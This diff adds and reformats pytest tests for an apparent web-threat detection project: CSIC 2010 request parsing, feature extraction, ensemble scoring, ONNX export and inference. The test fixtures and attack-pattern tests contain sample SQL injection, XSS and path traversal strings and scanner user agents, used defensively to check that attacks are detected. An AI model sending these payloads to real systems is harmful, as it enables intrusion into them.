+MALFORMED_FIXTURE = """\
+THIS IS NOT HTTP
+
+GET /valid/path HTTP/1.1
+Host: localhost:8080
+User-Agent: TestBot
+Connection: close
+
+just some random garbage here
+and more garbage
+"""
+
+
+class TestParseCSICFile:
+    """
+    Test CSIC 2010 file parser
+    """
+
+    def test_parses_normal_get_requests(self, tmp_path: Path) -> None:
+        """
+        Normal GET requests are parsed into CSICRequest dataclass instances
+        """
+        f = tmp_path / "normalTrafficTraining.txt"
+        f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=0)
+
+        assert len(results) == 5
+        assert all(isinstance(r, CSICRequest) for r in results)
+        assert all(r.label == 0 for r in results)
+
+    def test_parses_get_method_and_path(self, tmp_path: Path) -> None:
+        """
+        First GET request has correct method, path, and query string
+        """
+        f = tmp_path / "normal.txt"
+        f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=0)
+        first = results[0]
+
+        assert first.method == "GET"
+        assert first.path == "/tienda1/publico/anadir.jsp"
+        assert first.query_string == "id=2&nombre=Jam%F3n"
+        assert first.protocol == "HTTP/1.1"
+
+    def test_parses_headers(self, tmp_path: Path) -> None:
+        """
+        Headers are captured as a dict
+        """
+        f = tmp_path / "normal.txt"
+        f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=0)
+        first = results[0]
+
+        assert first.headers["Host"] == "localhost:8080"
+        assert "Konqueror" in first.headers["User-Agent"]
+
+    def test_parses_post_with_body(self, tmp_path: Path) -> None:
+        """
+        POST request body is captured
+        """
+        f = tmp_path / "normal.txt"
+        f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=0)
+        post_req = results[3]
+
+        assert post_req.method == "POST"
+        assert "nombre=Juan" in post_req.body
+
+    def test_parses_attack_file_with_label_1(self, tmp_path: Path) -> None:
+        """
+        Attack file entries get label=1
+        """
+        f = tmp_path / "anomalous.txt"
+        f.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=1)
+
+        assert len(results) == 4
+        assert all(r.label == 1 for r in results)
+
+    def test_attack_sqli_in_query(self, tmp_path: Path) -> None:
+        """
+        SQLi payload appears in query string of attack GET
+        """
+        f = tmp_path / "anomalous.txt"
+        f.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=1)
+        first = results[0]
+
+        assert "OR+1=1" in first.query_string
+
+    def test_attack_sqli_in_body(self, tmp_path: Path) -> None:
+        """
+        SQLi payload appears in POST body of attack
+        """
+        f = tmp_path / "anomalous.txt"
+        f.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=1)
+        post_req = results[1]
+
+        assert post_req.method == "POST"
+        assert "OR+1=1" in post_req.body
+
+    def test_malformed_blocks_skipped(self, tmp_path: Path) -> None:
+        """
+        Malformed/non-HTTP lines are skipped gracefully
+        """
+        f = tmp_path / "malformed.txt"
+        f.write_text(MALFORMED_FIXTURE, encoding="utf-8")
+
+        results = parse_csic_file(f, label=0)
+
+        assert len(results) == 1
+        assert results[0].method == "GET"
+        assert results[0].path == "/valid/path"
+
+    def test_empty_file_returns_empty_list(self, tmp_path: Path) -> None:
+        """
+        Empty file returns an empty list
+        """
+        f = tmp_path / "empty.txt"
+        f.write_text("", encoding="utf-8")
+
+        results = parse_csic_file(f, label=0)
+
+        assert results == []
+
+
+class TestCSICToParsedEntry:
+    """
+    Test conversion from CSICRequest to ParsedLogEntry
+    """
+
+    def test_converts_get_request(self) -> None:
+        """
+        GET CSICRequest converts to ParsedLogEntry with synthesized fields
+        """
+        req = CSICRequest(
+            method="GET",
+            path="/tienda1/publico/anadir.jsp",
+            query_string="id=2&nombre=test",
+            protocol="HTTP/1.1",
+            headers={
+                "Host": "localhost:8080",
+                "User-Agent": "Mozilla/5.0 (compatible; Konqueror/3.5)",
+            },
+            body="",
+            label=0,
+        )
+
+        entry = csic_to_parsed_entry(req)
+
+        assert entry.method == "GET"
+        assert entry.path == "/tienda1/publico/anadir.jsp"
+        assert entry.query_string == "id=2&nombre=test"
+        assert entry.status_code == 200
+        assert entry.response_size == 0
+        assert entry.user_agent == "Mozilla/5.0 (compatible; Konqueror/3.5)"
+        assert entry.ip != ""
+        assert entry.timestamp is not None
+
+    def test_converts_post_with_body_in_query(self) -> None:
+        """
+        POST body is appended to query_string for feature extraction
+        """
+        req = CSICRequest(
+            method="POST",
+            path="/login",
+            query_string="",
+            protocol="HTTP/1.1",
+            headers={"User-Agent": "TestBot"},
+            body="user=admin'+OR+1=1--&pass=x",
+            label=1,
+        )
+
+        entry = csic_to_parsed_entry(req)
+
+        assert entry.method == "POST"
+        assert "OR+1=1" in entry.query_string
+
+    def test_missing_ua_gets_default(self) -> None:
+        """
+        CSICRequest without User-Agent header gets a default user agent
+        """
+        req = CSICRequest(
+            method="GET",
+            path="/test",
+            query_string="",
+            protocol="HTTP/1.1",
+            headers={"Host": "localhost"},
+            body="",
+            label=0,
+        )
+
+        entry = csic_to_parsed_entry(req)
+
+        assert len(entry.user_agent) > 0
+
+
+class TestLoadCSICDataset:
+    """
+    Test end-to-end dataset loading with feature extraction
+    """
+
+    def test_returns_correct_shape(self, tmp_path: Path) -> None:
+        """
+        load_csic_dataset returns X with 35 columns and matching y
+        """
+        normal = tmp_path / "normal.txt"
+        attack = tmp_path / "attack.txt"
+        normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+        attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        X, y = load_csic_dataset(normal, attack)
+
+        assert X.shape[1] == 35
+        assert X.shape[0] == y.shape[0]
+
+    def test_contains_both_labels(self, tmp_path: Path) -> None:
+        """
+        y array contains both 0 (normal) and 1 (attack) labels
+        """
+        normal = tmp_path / "normal.txt"
+        attack = tmp_path / "attack.txt"
+        normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+        attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        _, y = load_csic_dataset(normal, attack)
+
+        assert 0 in y
+        assert 1 in y
+
+    def test_label_counts_match_files(self, tmp_path: Path) -> None:
+        """
+        Normal and attack counts match the number of requests in each file
+        """
+        normal = tmp_path / "normal.txt"
+        attack = tmp_path / "attack.txt"
+        normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+        attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        _, y = load_csic_dataset(normal, attack)
+
+        assert np.sum(y == 0) == 5
+        assert np.sum(y == 1) == 4
+
+    def test_feature_values_are_finite(self, tmp_path: Path) -> None:
+        """
+        All feature values are finite (no NaN or Inf)
+        """
+        normal = tmp_path / "normal.txt"
+        attack = tmp_path / "attack.txt"
+        normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
+        attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
+
+        X, _ = load_csic_dataset(normal, attack)
+
+        assert np.all(np.isfinite(X))

PROJECTS/advanced/ai-threat-detection/backend/tests/test_detection.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_detection.py
+
+Tests the rule engine's threat scoring, severity classification, and attack pattern matching.
 """
 
 from datetime import datetime, UTC

PROJECTS/advanced/ai-threat-detection/backend/tests/test_ensemble.py

@@ -0,0 +1,156 @@
+"""
+©AngelaMos | 2026
+test_ensemble.py
+
+Tests ensemble score normalization, weighted fusion, ML/rule blending, and severity classification.
+"""
+
+from app.core.detection.ensemble import (
+    blend_scores,
+    classify_severity,
+    fuse_scores,
+    normalize_ae_score,
+    normalize_if_score,
+)
+
+
+class TestScoreNormalization:
+
+    def test_ae_score_below_threshold(self) -> None:
+        """
+        AE error below threshold maps to a score below 0.5.
+        """
+        result = normalize_ae_score(0.05, threshold=0.10)
+        assert abs(result - 0.25) < 1e-6
+
+    def test_ae_score_above_double_threshold_caps_at_one(self) -> None:
+        """
+        AE error at 3x threshold is capped at 1.0.
+        """
+        result = normalize_ae_score(0.30, threshold=0.10)
+        assert result == 1.0
+
+    def test_ae_score_zero_error(self) -> None:
+        """
+        Zero reconstruction error maps to a score of 0.0.
+        """
+        result = normalize_ae_score(0.0, threshold=0.10)
+        assert result == 0.0
+
+    def test_if_score_negative(self) -> None:
+        """
+        Negative IF score (anomalous region) maps above 0.5.
+        """
+        result = normalize_if_score(-0.5)
+        assert abs(result - 0.75) < 1e-6
+
+    def test_if_score_positive(self) -> None:
+        """
+        Positive IF score (normal region) maps below 0.5.
+        """
+        result = normalize_if_score(0.5)
+        assert abs(result - 0.25) < 1e-6
+
+    def test_if_score_zero(self) -> None:
+        """
+        Zero IF score maps to exactly 0.5.
+        """
+        result = normalize_if_score(0.0)
+        assert abs(result - 0.5) < 1e-6
+
+
+class TestEnsembleFusion:
+
+    def test_weighted_average(self) -> None:
+        """
+        Fused score is the weighted average of AE, RF, and IF scores.
+        """
+        scores = {"ae": 0.8, "rf": 0.6, "if": 0.5}
+        weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
+        result = fuse_scores(scores, weights)
+        expected = 0.8 * 0.4 + 0.6 * 0.4 + 0.5 * 0.2
+        assert abs(result - expected) < 1e-6
+
+    def test_all_zero_scores(self) -> None:
+        """
+        All-zero model scores fuse to 0.0.
+        """
+        scores = {"ae": 0.0, "rf": 0.0, "if": 0.0}
+        weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
+        assert fuse_scores(scores, weights) == 0.0
+
+    def test_all_max_scores(self) -> None:
+        """
+        All-one model scores fuse to 1.0.
+        """
+        scores = {"ae": 1.0, "rf": 1.0, "if": 1.0}
+        weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
+        assert abs(fuse_scores(scores, weights) - 1.0) < 1e-6
+
+    def test_partial_models(self) -> None:
+        """
+        Fusion works correctly with only two models present.
+        """
+        scores = {"ae": 0.9, "rf": 0.7}
+        weights = {"ae": 0.5, "rf": 0.5}
+        expected = 0.9 * 0.5 + 0.7 * 0.5
+        assert abs(fuse_scores(scores, weights) - expected) < 1e-6
+
+
+class TestBlendScores:
+
+    def test_blend_with_rule_score(self) -> None:
+        """
+        ML and rule scores blend according to the specified ml_weight.
+        """
+        result = blend_scores(ml_score=0.7, rule_score=0.9, ml_weight=0.7)
+        expected = 0.7 * 0.7 + 0.9 * 0.3
+        assert abs(result - expected) < 1e-6
+
+    def test_blend_full_ml_weight(self) -> None:
+        """
+        ml_weight of 1.0 returns the pure ML score.
+        """
+        result = blend_scores(ml_score=0.8, rule_score=0.2, ml_weight=1.0)
+        assert abs(result - 0.8) < 1e-6
+
+    def test_blend_full_rule_weight(self) -> None:
+        """
+        ml_weight of 0.0 returns the pure rule score.
+        """
+        result = blend_scores(ml_score=0.8, rule_score=0.2, ml_weight=0.0)
+        assert abs(result - 0.2) < 1e-6
+
+    def test_blend_clamped_to_one(self) -> None:
+        """
+        Blended score is clamped to 1.0 even when both inputs are 1.0.
+        """
+        result = blend_scores(ml_score=1.0, rule_score=1.0, ml_weight=0.5)
+        assert result <= 1.0
+
+
+class TestClassifySeverity:
+
+    def test_high(self) -> None:
+        """
+        Scores >= 0.7 classify as HIGH.
+        """
+        assert classify_severity(0.8) == "HIGH"
+        assert classify_severity(0.7) == "HIGH"
+        assert classify_severity(1.0) == "HIGH"
+
+    def test_medium(self) -> None:
+        """
+        Scores in [0.5, 0.7) classify as MEDIUM.
+        """
+        assert classify_severity(0.55) == "MEDIUM"
+        assert classify_severity(0.5) == "MEDIUM"
+        assert classify_severity(0.69) == "MEDIUM"
+
+    def test_low(self) -> None:
+        """
+        Scores below 0.5 classify as LOW.
+        """
+        assert classify_severity(0.3) == "LOW"
+        assert classify_severity(0.0) == "LOW"
+        assert classify_severity(0.49) == "LOW"

PROJECTS/advanced/ai-threat-detection/backend/tests/test_experiment.py

@@ -0,0 +1,101 @@
+"""
+©AngelaMos | 2026
+test_experiment.py
+
+Tests the VigilExperiment MLflow wrapper: run lifecycle, param/metric logging, and status tagging.
+"""
+
+from pathlib import Path
+
+import mlflow
+import pytest
+
+from ml.experiment import VigilExperiment
+
+
+@pytest.fixture(autouse=True)
+def _mlflow_tmp(tmp_path: Path) -> None:
+    """
+    Point MLflow at a temp directory for isolation
+    """
+    mlflow.set_tracking_uri(f"file:{tmp_path}/mlruns")
+
+
+class TestVigilExperiment:
+
+    def test_creates_run_with_id(self) -> None:
+        """
+        Entering the context manager creates an MLflow run with a non-None run ID.
+        """
+        with VigilExperiment("test-exp") as exp:
+            assert exp.run_id is not None
+
+    def test_run_id_is_none_before_enter(self) -> None:
+        """
+        run_id is None until the context manager is entered.
+        """
+        exp = VigilExperiment("test-exp")
+        assert exp.run_id is None
+
+    def test_log_params(self) -> None:
+        """
+        log_params writes key-value pairs to the MLflow run as strings.
+        """
+        with VigilExperiment("test-exp") as exp:
+            exp.log_params({"lr": 0.001, "epochs": 10})
+            run = mlflow.get_run(exp.run_id)
+            assert run.data.params["lr"] == "0.001"
+            assert run.data.params["epochs"] == "10"
+
+    def test_log_metrics(self) -> None:
+        """
+        log_metrics stores numeric values on the MLflow run.
+        """
+        with VigilExperiment("test-exp") as exp:
+            exp.log_metrics({"f1": 0.95, "loss": 0.02})
+            run = mlflow.get_run(exp.run_id)
+            assert run.data.metrics["f1"] == 0.95
+
+    def test_log_artifact(self, tmp_path: Path) -> None:
+        """
+        log_artifact uploads a file so it appears in the run's artifact list.
+        """
+        artifact = tmp_path / "dummy.txt"
+        artifact.write_text("test content")
+        with VigilExperiment("test-exp") as exp:
+            exp.log_artifact(artifact)
+            run_id = exp.run_id
+        client = mlflow.MlflowClient()
+        artifacts = client.list_artifacts(run_id)
+        names = [a.path for a in artifacts]
+        assert "dummy.txt" in names
+
+    def test_system_metadata_logged(self) -> None:
+        """
+        python_version and platform tags are added automatically on run start.
+        """
+        with VigilExperiment("test-exp") as exp:
+            run = mlflow.get_run(exp.run_id)
+            assert "python_version" in run.data.tags
+            assert "platform" in run.data.tags
+
+    def test_completed_status_on_success(self) -> None:
+        """
+        Run tagged with status='completed' when the context exits cleanly.
+        """
+        with VigilExperiment("test-exp") as exp:
+            run_id = exp.run_id
+        run = mlflow.get_run(run_id)
+        assert run.data.tags["status"] == "completed"
+
+    def test_failed_status_on_exception(self) -> None:
+        """
+        Run tagged with status='failed' and error message when an exception is raised.
+        """
+        run_id = None
+        with pytest.raises(ValueError), VigilExperiment("test-exp") as exp:
+            run_id = exp.run_id
+            raise ValueError("boom")
+        run = mlflow.get_run(run_id)
+        assert run.data.tags["status"] == "failed"
+        assert "boom" in run.data.tags["error"]

PROJECTS/advanced/ai-threat-detection/backend/tests/test_export_onnx.py

@@ -0,0 +1,131 @@
+"""
+©AngelaMos | 2026
+test_export_onnx.py
+
+Tests ONNX export for the autoencoder, random forest, and isolation forest models.
+"""
+
+from pathlib import Path
+
+import numpy as np
+import onnxruntime as ort
+import torch
+from sklearn.ensemble import IsolationForest, RandomForestClassifier
+
+from ml.autoencoder import ThreatAutoencoder
+from ml.export_onnx import (
+    export_autoencoder,
+    export_isolation_forest,
+    export_random_forest,
+)
+
+
+class TestAutoencoderExport:
+
+    def test_creates_onnx_file(self, tmp_path: Path) -> None:
+        """
+        Exporting creates a non-empty .onnx file at the given path.
+        """
+        model = ThreatAutoencoder(input_dim=35)
+        path = export_autoencoder(model, tmp_path / "ae.onnx")
+        assert path.exists()
+        assert path.stat().st_size > 0
+
+    def test_onnx_output_matches_pytorch(self, tmp_path: Path) -> None:
+        """
+        ONNX inference output matches PyTorch forward pass within 1e-5 tolerance.
+        """
+        torch.manual_seed(42)
+        model = ThreatAutoencoder(input_dim=35)
+        model.eval()
+        onnx_path = export_autoencoder(model, tmp_path / "ae.onnx")
+
+        rng = np.random.default_rng(42)
+        x = rng.standard_normal((8, 35)).astype(np.float32)
+
+        with torch.no_grad():
+            pt_out = model(torch.from_numpy(x)).numpy()
+
+        session = ort.InferenceSession(str(onnx_path))
+        ort_out = session.run(None, {"features": x})[0]
+
+        np.testing.assert_allclose(pt_out, ort_out, atol=1e-5)
+
+    def test_dynamic_batch_dimension(self, tmp_path: Path) -> None:
+        """
+        Exported model accepts variable batch sizes (1, 16, 64).
+        """
+        model = ThreatAutoencoder(input_dim=35)
+        model.eval()
+        onnx_path = export_autoencoder(model, tmp_path / "ae.onnx")
+        session = ort.InferenceSession(str(onnx_path))
+
+        for batch_size in (1, 16, 64):
+            rng = np.random.default_rng(batch_size)
+            x = rng.standard_normal((batch_size, 35)).astype(np.float32)
+            out = session.run(None, {"features": x})[0]
+            assert out.shape == (batch_size, 35)
+
+
+class TestRandomForestExport:
+
+    def test_creates_onnx_file(self, tmp_path: Path) -> None:
+        """
+        Exporting a fitted RandomForest creates a non-empty .onnx file.
+        """
+        rng = np.random.default_rng(42)
+        rf = RandomForestClassifier(n_estimators=10, random_state=42)
+        X = rng.standard_normal((100, 35)).astype(np.float32)
+        y = np.concatenate([np.zeros(70, dtype=int), np.ones(30, dtype=int)])
+        rf.fit(X, y)
+        path = export_random_forest(rf, 35, tmp_path / "rf.onnx")
+        assert path.exists()
+        assert path.stat().st_size > 0
+
+    def test_onnx_produces_valid_output(self, tmp_path: Path) -> None:
+        """
+        ONNX inference returns class predictions and probabilities for each sample.
+        """
+        rng = np.random.default_rng(42)
+        rf = RandomForestClassifier(n_estimators=10, random_state=42)
+        X = rng.standard_normal((100, 35)).astype(np.float32)
+        y = np.concatenate([np.zeros(70, dtype=int), np.ones(30, dtype=int)])
+        rf.fit(X, y)
+        onnx_path = export_random_forest(rf, 35, tmp_path / "rf.onnx")
+        session = ort.InferenceSession(str(onnx_path))
+
+        x_test = rng.standard_normal((5, 35)).astype(np.float32)
+        result = session.run(None, {"features": x_test})
+        assert len(result) == 2
+        assert len(result[0]) == 5
+
+
+class TestIsolationForestExport:
+
+    def test_creates_onnx_file(self, tmp_path: Path) -> None:
+        """
+        Exporting a fitted IsolationForest creates a non-empty .onnx file.
+        """
+        rng = np.random.default_rng(42)
+        iso = IsolationForest(n_estimators=10, random_state=42)
+        iso.fit(rng.standard_normal((100, 35)).astype(np.float32))
+        path = export_isolation_forest(iso, 35, tmp_path / "if.onnx")
+        assert path.exists()
+        assert path.stat().st_size > 0
+
+    def test_onnx_scores_match_decision_function(self, tmp_path: Path) -> None:
+        """
+        ONNX anomaly scores match sklearn decision_function within 1e-4 tolerance.
+        """
+        rng = np.random.default_rng(42)
+        iso = IsolationForest(n_estimators=10, random_state=42)
+        X = rng.standard_normal((100, 35)).astype(np.float32)
+        iso.fit(X)
+        onnx_path = export_isolation_forest(iso, 35, tmp_path / "if.onnx")
+        session = ort.InferenceSession(str(onnx_path))
+
+        x_test = rng.standard_normal((10, 35)).astype(np.float32)
+        sk_decision = iso.decision_function(x_test)
+        ort_scores = session.run(None, {"features": x_test})[1].flatten()
+
+        np.testing.assert_allclose(sk_decision, ort_scores, atol=1e-4)

PROJECTS/advanced/ai-threat-detection/backend/tests/test_features.py

@@ -1,11 +1,20 @@
 """
 ©AngelaMos | 2026
 test_features.py
+
+Tests per-request feature extraction, Redis sliding-window aggregation, and feature encoding.
 """
 
+import time
 from datetime import datetime, UTC
 
+import fakeredis.aioredis
+import pytest
+
+from app.core.features.aggregator import WindowAggregator
+from app.core.features.encoder import encode_for_inference
 from app.core.features.extractor import extract_request_features
+from app.core.features.mappings import FEATURE_ORDER, METHOD_MAP, STATUS_CLASS_MAP
 from app.core.ingestion.parsers import ParsedLogEntry
 
 FEATURE_KEYS = {
@@ -79,16 +88,20 @@ def test_path_depth() -> None:
     Path depth counts non-empty segments between slashes.
     """
     assert extract_request_features(_make_entry(path="/"))["path_depth"] == 0
-    assert extract_request_features(_make_entry(path="/api"))["path_depth"] == 1
-    assert extract_request_features(_make_entry(path="/api/v1/users"))["path_depth"] == 3
+    assert extract_request_features(
+        _make_entry(path="/api"))["path_depth"] == 1
+    assert extract_request_features(
+        _make_entry(path="/api/v1/users"))["path_depth"] == 3
 
 
 def test_path_entropy_high_vs_low() -> None:
     """
     Random-character paths have higher entropy than simple paths.
     """
-    low = extract_request_features(_make_entry(path="/index.html"))["path_entropy"]
-    high = extract_request_features(_make_entry(path="/x8Kp2mQz7wR4vL1n"))["path_entropy"]
+    low = extract_request_features(
+        _make_entry(path="/index.html"))["path_entropy"]
+    high = extract_request_features(
+        _make_entry(path="/x8Kp2mQz7wR4vL1n"))["path_entropy"]
     assert high > low
 
 
@@ -96,7 +109,8 @@ def test_query_string_features() -> None:
     """
     Query param count and length are extracted correctly.
     """
-    features = extract_request_features(_make_entry(query_string="page=1&sort=name&limit=50"))
+    features = extract_request_features(
+        _make_entry(query_string="page=1&sort=name&limit=50"))
     assert features["query_param_count"] == 3
     assert features["query_string_length"] == len("page=1&sort=name&limit=50")
 
@@ -110,11 +124,11 @@ def test_url_encoding_detection() -> None:
     Percent-encoded sequences are detected in path and query.
     """
     encoded = extract_request_features(
-        _make_entry(path="/search", query_string="q=%27OR+1%3D1")
-    )
+        _make_entry(path="/search", query_string="q=%27OR+1%3D1"))
     assert encoded["has_encoded_chars"] is True
 
-    clean = extract_request_features(_make_entry(path="/index.html", query_string=""))
+    clean = extract_request_features(
+        _make_entry(path="/index.html", query_string=""))
     assert clean["has_encoded_chars"] is False
 
 
@@ -133,9 +147,12 @@ def test_status_class() -> None:
     """
     Status class groups status codes into Nxx buckets.
     """
-    assert extract_request_features(_make_entry(status_code=200))["status_class"] == "2xx"
-    assert extract_request_features(_make_entry(status_code=404))["status_class"] == "4xx"
-    assert extract_request_features(_make_entry(status_code=503))["status_class"] == "5xx"
+    assert extract_request_features(
+        _make_entry(status_code=200))["status_class"] == "2xx"
+    assert extract_request_features(
+        _make_entry(status_code=404))["status_class"] == "4xx"
+    assert extract_request_features(
+        _make_entry(status_code=503))["status_class"] == "5xx"
 
 
 def test_temporal_features() -> None:
@@ -161,14 +178,13 @@ def test_ua_bot_detection() -> None:
     """
     bot = extract_request_features(
         _make_entry(
-            user_agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
-        )
-    )
+            user_agent=
+            "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
+        ))
     assert bot["is_known_bot"] is True
 
     normal = extract_request_features(
-        _make_entry(user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
-    )
+        _make_entry(user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"))
     assert normal["is_known_bot"] is False
 
 
@@ -176,7 +192,8 @@ def test_ua_scanner_detection() -> None:
     """
     Known vulnerability scanner user agents are flagged.
     """
-    nikto = extract_request_features(_make_entry(user_agent="Mozilla/5.00 (Nikto/2.1.6)"))
+    nikto = extract_request_features(
+        _make_entry(user_agent="Mozilla/5.00 (Nikto/2.1.6)"))
     assert nikto["is_known_scanner"] is True
 
     sqlmap = extract_request_features(_make_entry(user_agent="sqlmap/1.8"))
@@ -187,15 +204,17 @@ def test_attack_pattern_detection() -> None:
     """
     SQLi, XSS, and path traversal patterns in paths are detected.
     """
-    sqli = extract_request_features(_make_entry(path="/users", query_string="id=1' OR 1=1--"))
+    sqli = extract_request_features(
+        _make_entry(path="/users", query_string="id=1' OR 1=1--"))
     assert sqli["has_attack_pattern"] is True
 
     xss = extract_request_features(
-        _make_entry(path="/comment", query_string="body=<script>alert(1)</script>")
-    )
+        _make_entry(path="/comment",
+                    query_string="body=<script>alert(1)</script>"))
     assert xss["has_attack_pattern"] is True
 
-    traversal = extract_request_features(_make_entry(path="/static/../../etc/passwd"))
+    traversal = extract_request_features(
+        _make_entry(path="/static/../../etc/passwd"))
     assert traversal["has_attack_pattern"] is True
 
     clean = extract_request_features(_make_entry(path="/api/v1/health"))
@@ -206,11 +225,12 @@ def test_special_char_ratio() -> None:
     """
     Paths with many non-alphanumeric characters have higher ratios.
     """
-    clean = extract_request_features(_make_entry(path="/api/users"))["special_char_ratio"]
+    clean = extract_request_features(
+        _make_entry(path="/api/users"))["special_char_ratio"]
 
-    noisy = extract_request_features(_make_entry(path="/<script>alert('xss')</script>"))[
-        "special_char_ratio"
-    ]
+    noisy = extract_request_features(
+        _make_entry(
+            path="/<script>alert('xss')</script>"))["special_char_ratio"]
 
     assert noisy > clean
 
@@ -219,20 +239,25 @@ def test_private_ip_detection() -> None:
     """
     RFC 1918 and loopback addresses are classified as private.
     """
-    assert extract_request_features(_make_entry(ip="192.168.1.1"))["is_private_ip"] is True
+    assert extract_request_features(
+        _make_entry(ip="192.168.1.1"))["is_private_ip"] is True
 
-    assert extract_request_features(_make_entry(ip="127.0.0.1"))["is_private_ip"] is True
+    assert extract_request_features(
+        _make_entry(ip="127.0.0.1"))["is_private_ip"] is True
 
-    assert extract_request_features(_make_entry(ip="8.8.8.8"))["is_private_ip"] is False
+    assert extract_request_features(
+        _make_entry(ip="8.8.8.8"))["is_private_ip"] is False
 
 
 def test_file_extension() -> None:
     """
     File extension is extracted from the path.
     """
-    assert extract_request_features(_make_entry(path="/style.css"))["file_extension"] == ".css"
+    assert extract_request_features(
+        _make_entry(path="/style.css"))["file_extension"] == ".css"
 
-    assert extract_request_features(_make_entry(path="/api/users"))["file_extension"] == ""
+    assert extract_request_features(
+        _make_entry(path="/api/users"))["file_extension"] == ""
 
 
 def test_country_code_passthrough() -> None:
@@ -246,13 +271,6 @@ def test_country_code_passthrough() -> None:
     assert features_empty["country_code"] == ""
 
 
-import time  # noqa: E402
-
-import fakeredis.aioredis  # noqa: E402
-import pytest  # noqa: E402
-
-from app.core.features.aggregator import WindowAggregator  # noqa: E402
-
 AGGREGATOR_KEYS = {
     "req_count_1m",
     "req_count_5m",
@@ -428,10 +446,6 @@ async def test_aggregator_window_boundary(aggregator) -> None:
     assert result["req_count_5m"] == 2
 
 
-from app.core.features.encoder import encode_for_inference  # noqa: E402
-from app.core.features.mappings import FEATURE_ORDER, METHOD_MAP, STATUS_CLASS_MAP  # noqa: E402
-
-
 def _full_features() -> dict[str, int | float | bool | str]:
     """
     Build a complete 35-key feature dict with realistic values.

PROJECTS/advanced/ai-threat-detection/backend/tests/test_geoip.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_geoip.py
+
+Tests the GeoIP lookup service including private IP handling and missing database fallback.
 """
 
 from unittest.mock import MagicMock, patch
@@ -108,7 +110,9 @@ async def test_lookup_missing_city_name(mock_reader) -> None:
     """
     Responses with None city name are handled gracefully.
     """
-    mock_reader.city.return_value = _mock_city_response(city_name=None, lat=0.0, lon=0.0)
+    mock_reader.city.return_value = _mock_city_response(city_name=None,
+                                                        lat=0.0,
+                                                        lon=0.0)
     service = GeoIPService.__new__(GeoIPService)
     service._reader = mock_reader
 

PROJECTS/advanced/ai-threat-detection/backend/tests/test_inference.py

@@ -0,0 +1,142 @@
+"""
+©AngelaMos | 2026
+test_inference.py
+
+Tests the InferenceEngine: model loading, predict output shapes, score ranges, and missing-model handling.
+"""
+
+import json
+from pathlib import Path
+
+import numpy as np
+import pytest
+
+from ml.autoencoder import ThreatAutoencoder
+from ml.export_onnx import (
+    export_autoencoder,
+    export_isolation_forest,
+    export_random_forest,
+)
+from ml.scaler import FeatureScaler
+from sklearn.ensemble import IsolationForest, RandomForestClassifier
+
+from app.core.detection.inference import InferenceEngine
+
+
+@pytest.fixture
+def model_dir(tmp_path: Path) -> Path:
+    """
+    Create a temp directory with all 3 ONNX models + scaler + threshold
+    """
+    rng = np.random.default_rng(42)
+    X = rng.standard_normal((200, 35)).astype(np.float32)
+    y = np.concatenate([np.zeros(140, dtype=int), np.ones(60, dtype=int)])
+
+    ae = ThreatAutoencoder(input_dim=35)
+    export_autoencoder(ae, tmp_path / "ae.onnx")
+
+    rf = RandomForestClassifier(n_estimators=10, random_state=42)
+    rf.fit(X, y)
+    export_random_forest(rf, 35, tmp_path / "rf.onnx")
+
+    iso = IsolationForest(n_estimators=10, random_state=42)
+    iso.fit(X[:140])
+    export_isolation_forest(iso, 35, tmp_path / "if.onnx")
+
+    scaler = FeatureScaler()
+    scaler.fit(X[:140])
+    scaler.save_json(tmp_path / "scaler.json")
+
+    threshold_data = {"threshold": 0.05}
+    (tmp_path / "threshold.json").write_text(json.dumps(threshold_data))
+
+    return tmp_path
+
+
+class TestInferenceEngine:
+
+    def test_loads_all_models(self, model_dir: Path) -> None:
+        """
+        Engine reports is_loaded=True when all three ONNX models are present.
+        """
+        engine = InferenceEngine(model_dir=str(model_dir))
+        assert engine.is_loaded
+
+    def test_returns_none_when_no_models(self) -> None:
+        """
+        Engine reports is_loaded=False when the model directory does not exist.
+        """
+        engine = InferenceEngine(model_dir="/nonexistent/path")
+        assert not engine.is_loaded
+
+    def test_predict_returns_none_when_not_loaded(self) -> None:
+        """
+        predict returns None when the engine has no models loaded.
+        """
+        engine = InferenceEngine(model_dir="/nonexistent/path")
+        result = engine.predict(np.zeros((1, 35), dtype=np.float32))
+        assert result is None
+
+    def test_predict_returns_scores(self, model_dir: Path) -> None:
+        """
+        predict returns a dict with ae, rf, and if score arrays.
+        """
+        engine = InferenceEngine(model_dir=str(model_dir))
+        rng = np.random.default_rng(99)
+        x = rng.standard_normal((4, 35)).astype(np.float32)
+        result = engine.predict(x)
+        assert result is not None
+        assert "ae" in result
+        assert "rf" in result
+        assert "if" in result
+
+    def test_predict_ae_scores_are_positive(self, model_dir: Path) -> None:
+        """
+        AE reconstruction error scores are non-negative for all samples.
+        """
+        engine = InferenceEngine(model_dir=str(model_dir))
+        rng = np.random.default_rng(99)
+        x = rng.standard_normal((4, 35)).astype(np.float32)
+        result = engine.predict(x)
+        assert result is not None
+        assert all(s >= 0.0 for s in result["ae"])
+
